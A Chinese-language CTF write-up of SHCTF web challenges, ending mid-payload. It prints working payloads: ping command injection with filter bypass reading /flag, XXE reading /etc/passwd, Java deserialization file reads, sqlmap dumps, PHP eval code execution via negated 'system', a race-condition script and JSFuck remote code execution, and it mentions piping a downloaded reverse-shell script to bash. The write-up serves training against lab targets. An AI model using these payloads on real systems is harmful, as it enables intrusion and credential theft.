SHCTF 3rd - [WEB]部分writeup

SHCTF 3rd - [WEB]部分writeup

SHCTF-[WEB]部分writeup

法律与道德使用声明

本课程/笔记及相关技术内容仅限合法授权场景使用,严禁一切未授权的非法行为!

1. 适用场景限制

  • 本课程涉及的 网络安全知识、工具及攻击手法 仅允许在以下场景使用:
    • ✅ 授权渗透测试(需获得目标方书面授权)
    • ✅ CTF竞赛、攻防演练等合规赛事
    • ✅ 封闭实验环境(如本地靶场、虚拟机)
    • ✅ 学术研究、技术教学(需确保隔离环境)
  • 严禁 用于任何未经授权的真实系统、网络或设备。
    2. 法律与道德责任
  • 根据《中华人民共和国网络安全法》《刑法》等相关法律法规,未经授权的网络入侵、数据窃取、系统破坏等行为均属违法,可能面临刑事处罚及民事赔偿。
  • 使用者需对自身行为负全部责任,课程作者及发布平台不承担任何因滥用技术导致的连带责任。
    3. 工具与知识的正当用途
  • 防御视角:学习漏洞原理以提升系统防护能力。
  • 教育视角:理解攻击手法以培养安全意识与应急响应能力。
  • 禁止用途:包括但不限于:
    -❌ 入侵他人计算机系统
    -❌ 窃取、篡改、删除数据
    -❌ 传播恶意软件(木马、勒索病毒等)
    -❌ 发起DDoS攻击或网络诈骗
    4. 风险自担原则
  • 即使在合法授权场景下,操作不当仍可能导致系统崩溃、数据丢失等风险。使用者需自行评估并承担操作后果。
    5. 知识产权声明
  • 课程中涉及的第三方工具、代码、文档版权归原作者所有,引用时请遵循其许可协议(如GPL、MIT等)。
    6. 违法违规后果
  • 技术滥用将被依法追责,包括但不限于:
  • 行政拘留、罚款(《网络安全法》第27、63条)
  • 有期徒刑(《刑法》第285、286条非法侵入/破坏计算机系统罪)
  • 终身禁止从事网络安全相关职业

请务必遵守法律法规,技术向善,共同维护网络安全环境!
如发现安全漏洞,请通过合法渠道上报(如CNVD、厂商SRC)

比赛地址

https://shc.tf/ 不确定后续是否会有复现环境,发文时我们参赛选手还可以登录

在这里插入图片描述


因为wp是断断续续完成的,有时候超时了没延靶机,所以同一题前后可能端口号不一样。

[阶段1] ez-ping

靶机展示

还是比较简单,不过估计 flag 是关键字会被拦截

在这里插入图片描述

payload

看到 flag 在根目录下,估计cat / flag 都是敏感字都被拦了,读文本文件除了 cat 以外 tail / head 等都很常用,加上用通配符? 绕过即可。

┌──(kali㉿kali)-[~] └─$ curl'http://challenge.shc.tf:31693/ping.php' --data-urlencode '-c 1 127.0.0.1 && ls /'(......) dev etc flag (......) ┌──(kali㉿kali)-[~] └─$ curl'http://challenge.shc.tf:31693/ping.php' --data-urlencode '-c 1 127.0.0.1 && cat /flag' 命令中包含非法字符! ┌──(kali㉿kali)-[~] └─$ curl'http://challenge.shc.tf:31693/ping.php' --data-urlencode '-c 1 127.0.0.1 && flag' 命令中包含非法字符! ┌──(kali㉿kali)-[~] └─$ curl'http://challenge.shc.tf:31693/ping.php' --data-urlencode '-c 1 127.0.0.1 && tail /f*' 命令中包含非法字符! ┌──(kali㉿kali)-[~] └─$ curl'http://challenge.shc.tf:31693/ping.php' --data-urlencode '-c 1 127.0.0.1 && tail /**l*' 命令中包含非法字符! ┌──(kali㉿kali)-[~] └─$ curl'http://challenge.shc.tf:31693/ping.php' --data-urlencode '-c 1 127.0.0.1 && tail /?la?'(......) SHCTF{94c6789c-ea67-4271-b3b4-61271ac45d7c}

源码过滤+getshell

直接ls可以看到当前目录的 .php 文件,我们看下源码尝试 getshell
拦截规则在 ping.php ,白名单允许 字母数字.-/?/,虽然 * 也在里面不过下面黑名单也有。
shell也比较简单,虽然直接在网页上拼接 revshell 命令失败了,不过我们可以让靶机从 vps 直接下载 revshell 脚本,用 curl / wget + 管道符 | bash / sh 即可,具体略。

┌──(kali㉿kali)-[~] └─$ curl'http://challenge.shc.tf:31693/ping.php' --data-urlencode '-c 1 127.0.0.1 && tail -n 100 ping.php'(......)<?php header('Content-Type: text/plain; charset=utf-8');if($_SERVER['REQUEST_METHOD']==='POST'){$domain=$_POST['domain'] ?? '';if(!preg_match('/^[a-zA-Z0-9\.\-\& \?\*\/]*$/', $domain)){ // 白名单在这里 http_response_code(400);echo"无效的域名!";exit;}if(empty($domain)){ http_response_code(400);echo"请输入域名!";exit;} try {$cmd="ping -c 4 ".$domain;if(!preg_match('/cat|tac|flag|\*/',$cmd)){$output= shell_exec($cmd." 2>&1");}else{$output="命令中包含非法字符!";}echo$output ?: "命令执行失败!";} catch (Exception $e){ http_response_code(500);echo"错误: ".$e->getMessage();}} ?>
getshell

[阶段2] Mini Blog

题干: 完全安全的博客系统

靶机展示

看到是个很简单的 blog 页面

在这里插入图片描述


可以发表文章以及修改个人信息

在这里插入图片描述

简单信息收集

看到是 Python 搭建的服务器,第一反应是 SSTI ,但是实际上并不是(主页可以看到其实我已经尝试了 {{ 7*7 }} 这种模板注入但并无效果),不死心再用 tplmap 跑了遍尝试也未能找到注入点。

┌──(test㉿kali-plus)-[~/Desktop] └─$ curl -I http://challenge.shc.tf:32242 HTTP/1.1 200 OK Server: Werkzeug/3.1.4 Python/3.14.0 Date: Wed, 11 Feb 2026 11:41:37 GMT Content-Type: text/html; charset=utf-8 Content-Length: 2804 Connection: close 

攻击思路

看到数据是 XML 格式提交,那大概率是 XXE 实体注入了

在这里插入图片描述

PAYLOAD

XXEpayload看了下 /etc/passwd 直接就有回显了。

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPEfoo[ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><post><title>&xxe;</title><content>123</content></post>

直接拿到了 /etc/hosts

在这里插入图片描述

get flag

因为不知道 flag 具体位置,随便测试了下, 运气好用 /flag 直接拿到了 flag 了。

在这里插入图片描述

[阶段3] 你也懂java?

题干: 源代码和二进制已经全部在这里了,没有任何秘密。

靶机展示

靶机主页打开后可以看到是一段源码,看上去是后端逻辑代码,并且有 /upload 接口,其中 new ObjectInputStream(exchange.getRequestBody() ,未经校验将 body 传入,大概率是反序列化的打法。

在这里插入图片描述

网页源码

 String method = exchange.getRequestMethod(); String path = exchange.getRequestURI().getPath(); if ("POST".equalsIgnoreCase(method) && "/upload".equals(path)) { try (ObjectInputStream ois = new ObjectInputStream(exchange.getRequestBody())) { Object obj = ois.readObject(); if (obj instanceof Note) { Note note = (Note) obj; if (note.getFilePath() != null) { echo(readFile(note.getFilePath())); } } } catch (Exception e) {} } } 

Note.jar

比赛环境赛题直接提供了 Note.jar 下载,下载下来用 jd-gui 查看下,代码如下,有3个私有变量,知道了 Note 对象的属性。

通过jd-gui反编译出jar包源码


jar 包源码如下:

import java.io.Serializable; public class Note implements Serializable { private static final long serialVersionUID = 1L; private String title; private String message; private String filePath; public Note(String title, String message, String filePath) { this.title = title; this.message = message; this.filePath = filePath; } public String getTitle() { return title; } public String getMessage() { return message; } public String getFilePath() { return filePath; } } 

攻击思路

Note 对象调用了 getFilePath() ,大概率是任意文件读取,因为后端逻辑没有校验传入,可构造恶意类,设置 FilePath 为敏感文件路径,用 /etc/passwd 或者 /etc/hostname 这种验证下。

创建恶意类

// Exp.java import java.io.*; public class Exp { public static void main(String[] args) { try { Note note = new Note("Exploit", "Reading Flag", "/etc/passwd"); FileOutputStream fos = new FileOutputStream("payload.ser"); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(note); oos.close(); System.out.println("Payload 已生成: payload.ser"); } catch (Exception e) { e.printStackTrace(); } } } 

设置JDK环境

kali 默认没 javac ,不过碰巧因为打其他靶场传了个 jdk7 就用这个版本,当前 shell 环境要设好环境变量,后面成功编译的前提。

┌──(kali㉿kali)-[~/Desktop/temp] └─$ find / -iname javac -type f 2>/dev/null /home/kali/Desktop/jdk7/bin/javac ┌──(kali㉿kali)-[~/Desktop/temp] └─$ exportJAVA_HOME=/home/kali/Desktop/jdk7 ┌──(kali㉿kali)-[~/Desktop/temp] └─$ exportPATH=$JAVA_HOME/bin:$PATH ┌──(kali㉿kali)-[~/Desktop/temp] └─$ java -version && javac -version java version "1.7.0_80" Java(TM) SE Runtime Environment (build 1.7.0_80-b15) Java HotSpot(TM) Server VM (build 24.80-b11, mixed mode) javac 1.7.0_80 

编译恶意类

javac Note.java Exp.java
java Exp

Note.javaExp.java 放在同一个目录,编译后用 curl --data-binary 发送,因输出较多用 grep 过滤下关键字,看到已读取到了 /etc/passwd

┌──(kali㉿kali)-[~/Desktop/temp] └─$ ls *.java Exp.java Note.java ┌──(kali㉿kali)-[~/Desktop/temp] └─$ java -version java version "1.7.0_80" Java(TM) SE Runtime Environment (build 1.7.0_80-b15) Java HotSpot(TM) Server VM (build 24.80-b11, mixed mode) ┌──(kali㉿kali)-[~/Desktop/temp] └─$ javac Note.java Exp.java ┌──(kali㉿kali)-[~/Desktop/temp] └─$ java Exp Payload 已生成: payload.ser ┌──(kali㉿kali)-[~/Desktop/temp] └─$ curl -X POST http://challenge.shc.tf:31336/upload --data-binary @payload.ser |grep root % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 00000000 --:--:-- --:--:-- --:--:-- 10027561002632100124271211277 --:--:-- --:--:-- --:--:-- 28708<div class="output">root:x:0:0:root:/root:/bin/sh 

修改恶意类尝试得到flag

因不知 flag 具体位置在哪先尝试 /flag ,修改 Exp.java 中然后重新编译后并发送 payload ,可以看到顺利拿到了 flag

┌──(kali㉿kali)-[~/Desktop/temp] └─$ vi Exp.java ┌──(kali㉿kali)-[~/Desktop/temp] └─$ javac Note.java Exp.java ┌──(kali㉿kali)-[~/Desktop/temp] └─$ java ExpPayload 已生成: payload.ser ┌──(kali㉿kali)-[~/Desktop/temp] └─$ cat Exp.java | grep flag Note note =newNote("Exploit","Reading Flag","/flag");<- 这行自己修改要读取的文件 ┌──(kali㉿kali)-[~/Desktop/temp] └─$ curl -X POST http://challenge.shc.tf:31336/upload --data-binary @payload.ser| grep -i ctf %Total%Received%XferdAverageSpeedTimeTimeTimeCurrentDloadUploadTotalSpentLeftSpeed1002092100197410011817951070:00:010:00:01--:--:--1903<div class="output">SHCTF{67648c68-bc8d-4817-8615-77eb4ab21f93}

利用 python 直接发payload

这道题目也可以利用 python + java 反序列化的特性,跳过用编译环节直接发送 payload ,继而直接拿到 flag 或者相应的文件

import requests import re # 目标 URL url ="http://challenge.shc.tf:31336/upload"defgenerate_payload(file_path): payload =bytearray.fromhex("aced0005737200044e6f746500000000000000010200034c000866696c65506174687400124c6a6176612f6c616e672f537472696e673b4c00076d65737361676571007e00014c00057469746c6571007e00017870")# 这里是java反序列化的一些魔术字节 path_bytes = file_path.encode() payload.extend(b'\x74') payload.extend(len(path_bytes).to_bytes(2,'big')) payload.extend(path_bytes)for _ inrange(2): payload.extend(b'\x74\x00\x03pwn')return payload defpwn(target): target_file = target print(f"[*] Generating payload for: {target_file}") data = generate_payload(target_file)try: response = requests.post(url, data=data, timeout=5)print("-"*30)print("[+] Response Status:", response.status_code)if'<div>'in response.text: output = response.text.split('<div>')[1].split('</div>')[0]print("[+] Output Content (First 100 bytes):")print(output)# 如果是读 class 文件,建议把内容存下来分析if target.endswith('.class'):withopen("dumped.class","wb")as f:# 这里要注意,response.text 可能会破坏二进制,# 最好直接从 response.content 里截取,但这需要知道偏移量 f.write(output.encode())print("[*] Binary file saved to dumped.class")else:print("[-] No output found in response. Check if path exists.")print(response.text[:500])print("-"*30)except Exception as e:print(f"[!] Error: {e}")if __name__ =="__main__":whileTrue: pwn(input('[-] Pls input /path/file: '))

更加偷懒的方法

用下面的 payload ,不但不用 jdk 编译恶意类,连 python 都省了。

如果要拿 /etc/hosts (10个字符),下面的 payload.bin 生成时
\x05/flag 请修改成:\x0a/etc/hosts
┌──(kali㉿kali)-[~/Desktop/temp] └─$ echo -ne "\xac\xed\x00\x05\x73\x72\x00\x04\x4e\x6f\x74\x65\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x03\x4c\x00\x08\x66\x69\x6c\x65\x50\x61\x74\x68\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x07\x6d\x65\x73\x73\x61\x67\x65\x71\x00\x7e\x00\x01\x4c\x00\x05\x74\x69\x74\x6c\x65\x71\x00\x7e\x00\x01\x78\x70\x74\x00\x05/flag\x74\x00\x03pwn\x74\x00\x03pwn"> payload.bin ┌──(kali㉿kali)-[~/Desktop/temp] └─$ curl -X POST http://challenge.shc.tf:31865/upload --data-binary @payload.bin |grep SHCTF % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 10020791001974100105618320:00:03 0:00:03 --:--:-- 651<div class="output">SHCTF{67648c68-bc8d-4817-8615-77eb4ab21f93}

[阶段2] Go

**题干:**我们开发了一个由 Go 语言编写的安全验证系统。防火墙(WAF)发誓它已经拦截了所有的 admin 角色请求。

靶机展示

可以看到返回一串 json

go页面展示

过waf+get flag

一开始尝试发送 GET 无效

┌──(kali㉿kali)-[~/Desktop/temp] └─$ curl"http://challenge.shc.tf:31025/?role=admin&username=admin"{"username":"guest","role":"guest","message":"Access denied. Only role='admin' can view the flag."}

改用 POST 发送发现响应改变

┌──(kali㉿kali)-[~/Desktop/temp] └─$ curl"http://challenge.shc.tf:31025/" -d '{"role":"admin"}'{"error":"🚫 WAF Security Alert: 'admin' value is strictly forbidden in 'role' field!"}

尝试 bypass 发现可以通过修改参数大小写绕过,预计防火墙只拦截了小写的 role

┌──(kali㉿kali)-[~/Desktop/temp] └─$ curl"http://challenge.shc.tf:31025/" -d '{"Role":"admin"}'{"flag":"SHCTF{2ea0dca2-e397-4c7c-892e-785d30c2e19a}","role":"admin","username":""}

[阶段1] 上古遗迹档案馆

题干: 你咋直接攻击我啊?渗透测试里不是这样的啊!你应该先向我发送一个数据确认我是什么类型的题目,然后通过不断测试来找到我的漏洞点,提升测试成功率,最后在特殊漏洞点给我发送点特殊数据,我就会给你我的正确flag,最后你才能得分啊。

靶机展示

在这里插入图片描述

SQL注入

这道题比较简单的,以 1' 作为参数就报错了。

在这里插入图片描述


后面手注或者 sqlmap 都可以,最终 flag 路径在 archive_db-->secret_vault->secret_key

在这里插入图片描述
┌──(kali㉿kali)-[~] └─$ sqlmap -u http://challenge.shc.tf:30879/?id=* --batch -D archive_db -T secret_vault --dump (过程略) +----+---------------------------------------------+ |id| secret_key | +----+---------------------------------------------+ |1| SHCTF{0ede81a7-627f-45c4-9a9d-63655a9d214e}| +----+---------------------------------------------+ 

[阶段1] kill_king

题干: 提升自己,杀死King,或者,做点别的???

靶机展示

可以看到是个网页游戏,打开游戏后按 F12 打不开控制台估计被代码屏蔽了,不过可以先开控制台再打开网页就可以绕过。

游戏画面

攻击思路

这种 javascript 一般控制台都可以通过调整变量值、修改函数等方式,修改游戏底层逻辑代码,直接绕过初始设定。
查看源码可以看到 javascript 源代码在 http://challenge.shc.tf:30354/logic.js,代码其中一些部分如下:

// 略过部分代码mounted(){ _this =this;// <---- 用 _this.xxx 等来进行调整 this.audioController =newAudioController(this.audioArray);// JCanvas Audio Module audioNode = document.querySelector("audio"); document.onclick=function(){ audioNode.loop =true; audioNode.play();if(!_this.bgMusicStarted){ _this.bgMusicStarted =true; audioCtx =new(window.AudioContext || window.webkitAudioContext)(); sourceNode = audioCtx.createMediaElementSource(audioNode);// Create the lowpass filter lowpassNode = audioCtx.createBiquadFilter();// Connect the source to the lowpass filter sourceNode.connect(lowpassNode);// Connect the lowpass filter to the output (speaker) lowpassNode.connect(audioCtx.destination); console.log("lowpass"); lowpassNode.frequency.value =250;}}; document.body.onkeyup=function(e){if(e.keyCode == _this.keyCode){if(!_this.shoppingPhase) _this.punch();}};}});

控制台中输入 _this.damage = 9999; 可实现一刀 99999 的效果,另外下面这个payload可以直接跳到最后一关国王:

_this.stage =10; _this.enemiesDefeated =10; _this.enemy =newEnemy(3000*20,"King Trost"); _this.boss =true; _this.damage=99999;

第二层 php 审计

在普通浏览器中过关会直接重定向到 xxx/check.php 刷新就会发现又 No access,通过 burpsuite 分析可以看到过关时 POST 会携带参数 result=win 访问 check.php

burp过关画面


另外 logic.js 源码中也可以看到 body 部分代码,所以游戏可以不打直接用 POSTresult=win访问 check.php

fetch('check.php',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'result=win'}).then(response=> response.text()).then(flag=>{ document.getElementById('flagBox').innerText = flag;}).catch(err=> console.error('鑾峰彇 flag 鍑洪敊:', err));// 直接从网页复制过来的有些乱码// flag鑾峰彇var form = document.createElement("form"); form.method ="POST"; form.action ="check.php"; form.style.display ="none"

使用 curl 发送 POST 可以看到:

┌──(kali㉿kali)-[~] └─$ curl -X POST http://challenge.shc.tf:30354/check.php -d "result=win"<code><span style="color: #000000"><span style="color: #0000BB">&lt;?php<br /></span><span style="color: #FF8000">//&nbsp;国王并没用直接爆出flag,而是出现了别的东西???<br /></span><span style="color: #007700">if&nbsp;(</span><span style="color: #0000BB">$_SERVER</span><span style="color: (数据较多略,代码放在了图下面)

hackbar 发送看到了审计题源码如下,除了 result 参数外,还提交 who / are / you 三个参数,其中 who / are 必须是数字,而 you 只能匹配非单词的字符

php代码审计题
<?php// 国王并没用直接爆出flag,而是出现了别的东西???if($_SERVER['REQUEST_METHOD']==='POST'){if(isset($_POST['result'])&&$_POST['result']==='win'){highlight_file(__FILE__);if(isset($_GET['who'])&&isset($_GET['are'])&&isset($_GET['you'])){$who=(String)$_GET['who'];$are=(String)$_GET['are'];$you=(String)$_GET['you'];if(is_numeric($who)&&is_numeric($are)){if(preg_match('/^\W+$/',$you)){$code=eval("return $who$you$are;");echo"$who$you$are = ".$code;}}}}else{echo"Invalid result.";}}else{echo"No access.";}?>

php审计攻击思路

这道题get传入三个参数,分别是 who / are / you ,其中:

  • whoare 必须是数字;
  • you 从头到尾每一个字符都不能是字母、数字或下划线;
    最终三个参数需要拼接成 return $who$you$are ,同时要可以过 eval() 函数,也就是说必须是个合法的 php 的代码。

这道题乍一看没有什么思路,不过逆推的话还是很容易解决:

  1. 如果不考虑正则过滤,这道题最终可以是 eval("return 1?xxxx:1") 这种三元表达式,这样解决了首尾2个参数只能是数字的问题。
┌──(kali㉿kali)-[~/Desktop] └─$ cat payload.php <?php eval("return 1?system('whoami'):1;"); ┌──(kali㉿kali)-[~/Desktop] └─$ php payload.php kali 
  1. php 的函数名可以是动态引用的,留意下面 hello1hello3 的三种函数的用法
<?phpfunctionhello1(){echo"hello1";}functionhello2($str_){echo"hello2".$str_;}functionhello3($str_){echo"hello3".$str_;}$func='hello1';$func();echo"\n";$func2='hello2';$str_=' world';$func2($str_);echo"\n";('hello3')(' SHCTF');
  1. 既然我们自定义的函数既然可以动态引用,内置函数比如 system 这种也可以动态引用的
┌──(kali㉿kali)-[~/Desktop] └─$ php -r "('system')('whoami');" kali 
  1. 最后的问题了,就是怎么解决用非字符串来进行攻击?
    这个攻击还是比较简单的,用 hackbat 发送4个参数,具体利用是取反,本地调试过如果使用八进制和十六进制编码传递 system 这种命令依旧会被正则拦截,取反后再取反就不会了。
    http://challenge.shc.tf:32551/check.php?who=1&are=2&you=?%28~%8c%86%8c%8b%9a%92%29%28~%96%9b%29:

留意下面代码虽然出错了,但是 id 已经暴露出来。

在这里插入图片描述

最后是半成品的 payload

  1. 先用 .py 脚本生成要执行的命令
import sys import urllib.parse defnegate_payload(data):# 将字符串转换为 PHP 取反格式 (~%xx%xx...) res =""for char in data:# 位取反并转为 16 进制 negated_hex =hex((~ord(char))&0xff)[2:].zfill(2) res +=f"%{negated_hex}"returnf"(~{res})"if __name__ =="__main__":iflen(sys.argv)<2:# 默认执行 id cmd ="id"else:# 获取命令行传入的所有参数并组合成字符串 cmd =" ".join(sys.argv[1:])# 构造完整的 you 参数部分# 结构: ?(system)(cmd): system_neg = negate_payload("system") cmd_neg = negate_payload(cmd) payload =f"?{system_neg}{cmd_neg}:"# 直接打印,不带换行,方便 Shell 变量引用 sys.stdout.write(payload)
  1. 使用 curlpayload 传递给靶机
┌──(kali㉿kali)-[~/Desktop/killking] └─$ payload=$(python payload.py "ls /flag") ┌──(kali㉿kali)-[~/Desktop/killking] └─$ curl -s -X POST "http://challenge.shc.tf:30940/check.php?who=1&are=2&you=$payload"\ -d "result=win"|tail -n 3<b>Warning</b>: Use of undefined constant ���Й��� - assumed '���Й���'(this will throw an Error in a future version of PHP)in<b>/var/www/html/check.php(13): eval()'d code</b> on line <b>1</b><br /> /flag 1?(~������)(~���Й���):2 = /flag ┌──(kali㉿kali)-[~/Desktop/killking] └─$ payload=$(python payload.py "cat /flag") ┌──(kali㉿kali)-[~/Desktop/killking] └─$ curl -s -X POST "http://challenge.shc.tf:30940/check.php?who=1&are=2&you=$payload" \ -d "result=win" | tail -n 3 <b>Warning</b>: Use of undefined constant ����Й��� - assumed '����Й���' (this will throw an Error in a future version of PHP) in <b>/var/www/html/check.php(13) : eval()'d code</b> on line <b>1</b><br /> SHCTF{3545d5d6-8a20-42b8-877b-f0e83c19248b}1?(~������)(~����Й���):2 = SHCTF{3545d5d6-8a20-42b8-877b-f0e83c19248b}

[阶段1] ez_race

题干: 狠狠赚钱

靶机展示

在这里插入图片描述

攻击思路

提现 path(“withdraw”, WithdrawView.as_view(), name=“withdraw”),
充值 path(“recharge”, RechargeView.as_view(), name=“recharge”),
flag path(“flag”, flag_view, name=“flag”),
重置 path(“reset”, reset_view, name=“reset”),
状态(会提示余额) path(“status”, status_view, name=“status”),
购买flag path(“buy/flag”, buy_flag, name=“buy_flag”),
love… path(“buy/love”, buy_love, name=“buy_love”),
购买flag页面 path(“purchase_flag”, TemplateView.as_view(template_name="

核心有问题的源码是提现功能的 def form_vaild() 函数,故意设置了 1 秒延迟,如果高并发可以多次提现提到余额为负,另外业务逻辑中,当余额为负数就会爆flag

classWithdrawView(LoginRequiredMixin, generic.FormView): template_name ="withdraw.html" form_class = forms.WithdrawForm success_url = reverse_lazy("withdraw")defget_form_kwargs(self): kwargs =super().get_form_kwargs() kwargs["user"]= self.request.user return kwargs defform_valid(self, form): amount = form.cleaned_data["amount"]with transaction.atomic(): time.sleep(1.0)<------ 故意设置的延迟 user = models.User.objects.get(pk=self.request.user.pk)if user.money >= amount: user.money = F('money')- amount user.save() models.WithdrawLog.objects.create(user=user, amount=amount) user.refresh_from_db()if user.money <0:<------ 金额小于0会爆flag return HttpResponse(os.environ.get("FLAG","flag{flag_test}"))return redirect(self.get_success_url())

payload

选到提现页面贴入 payload 然后发送到 console,如果失败的话,访问 /reset 接口,领取红包确保余额有10元再发送 payload

(async()=>{ console.log("%c[*] 开始详细调试竞争攻击...","color: cyan; font-weight: bold;");// 1. 从页面获取当前的 Tokenconst csrfTokenValue = document.querySelector('[name=csrfmiddlewaretoken]')?.value;const cookieToken = document.cookie.split('; ').find(row=> row.startsWith('csrftoken='))?.split('=')[1]; console.log(`[DEBUG] 页面 Form Token: ${csrfTokenValue}`); console.log(`[DEBUG] Cookie Token: ${cookieToken}`);if(!csrfTokenValue){ console.error("[!] 错误:页面上没找到 CSRF Token!");return;}const withdrawUrl = window.location.pathname;const amount =10;const bodyData =`csrfmiddlewaretoken=${csrfTokenValue}&amount=${amount}`; console.log("%c[*] 正在发出 10 个探测请求...","color: orange;");// 2. 并发请求并记录详细状态 如果一直崩溃,把下面 length: 10 再调小const requests = Array.from({length:10},async(v, i)=>{try{const res =awaitfetch(withdrawUrl,{method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded",// 很多 Django 配置也会检查这个 Header"X-CSRFToken": csrfTokenValue },body: bodyData });const text =await res.text();// 状态追踪if(res.status ===200){if(text.includes("SHCTF{")|| text.includes("CTF{")){ console.log(`%c[Thread ${i}] 成功!获取到 Flag`,"color: #00ff00;");return text.match(/(flag|CTF)\{.*?\}/)[0];}elseif(text.includes("余额不足")|| text.includes("Insufficient")){ console.log(`%c[Thread ${i}] 失败:余额不足 (Status: 200)`,"color: yellow;");}else{ console.log(`[Thread ${i}] 成功扣款或普通响应 (Status: 200)`);}}elseif(res.status ===403){ console.error(`[Thread ${i}] 触发 CSRF 拦截 (Status: 403)!Token 可能过期了。`);}else{ console.warn(`[Thread ${i}] 服务器返回异常状态码: ${res.status}`);}}catch(e){ console.error(`[Thread ${i}] 网络连接中断: ${e.message}`);}returnnull;});const allResults =await Promise.all(requests);const finalFlag = allResults.find(r=> r !==null);if(finalFlag){ console.log(`%c\n恭喜!最终 Flag: ${finalFlag}`,"background: #222; color: #bada55; font-size: 24px;");}else{ console.log("\n%c[!] 未能直接获取 Flag。请刷新首页查看 Balance 是否变负。","color: #ff4444;");}})();

这道题多线程并发比较容易崩,我是崩了好几次再拿到的 flag

在这里插入图片描述


另外攻击成功的话,从 response 中也可以看到 flag

在这里插入图片描述

[阶段1] calc?js?f**k!

题干: 怎么又是计算器?又是js?f**k!

靶机展示

打开看到是个计算机,向 /calc 接口提交 POST 请求,传参 expr

在这里插入图片描述

源码

因为网页有源码,可以看到只允许除了8以外的数字以及一些符号

const express =require('express');const app =express();const port =5000; app.use(express.json());constWAF=(recipe)=>{constALLOW_CHARS=/^[012345679!\.\-\+\*\/\(\)\[\]]+$/;if(ALLOW_CHARS.test(recipe)){returntrue;}returnfalse;};functioncalc(operator){returneval(operator);} app.get('/',(req, res)=>{ res.sendFile(__dirname +'/index.html');}); app.post('/calc',(req, res)=>{const{ expr }= req.body; console.log(expr);if(WAF(expr)){var result =calc(expr); res.json({ result });}else{ res.json({"result":"WAF"});}}); app.listen(port,()=>{ console.log(`Server running on port ${port}`);});

攻击思路

jsf*ck 只需要 ![] 即可完成攻击,白名单字符已绝对够用

利用 jsf**k 网站

https://jsf**k.com/ <-请自行脑补*号字符对应的字母,关于为什么仅 ![] 就可以执行各种命令,这个网页上有简要说明

  1. 查看根目录 process.mainModule.require('child_process').execSync('ls /').toString()
    payload
    利用 jsf**k 转换,放入网站下图框中,注意 Eval Source 需要勾选
在这里插入图片描述


2.利用 curl / hackbar / python 等工具发送 payload ,注意选择 application/json
我们可以看到 flag 在根目录下

在这里插入图片描述


3. 最终读取 flagpayload如下,可修改端口可直接复用

┌──(kali㉿kali)-[~] └─$ bash2.sh {"result":"SHCTF{b682fc24-befd-435e-98e6-b1bd23ca1a99}\n"} ┌──(kali㉿kali)-[~] └─$ cat2.sh curl -X POST http://challenge.shc.tf:30518/calc -H "Content-Type: application/json" -d '{"expr":"[][(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()([][(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[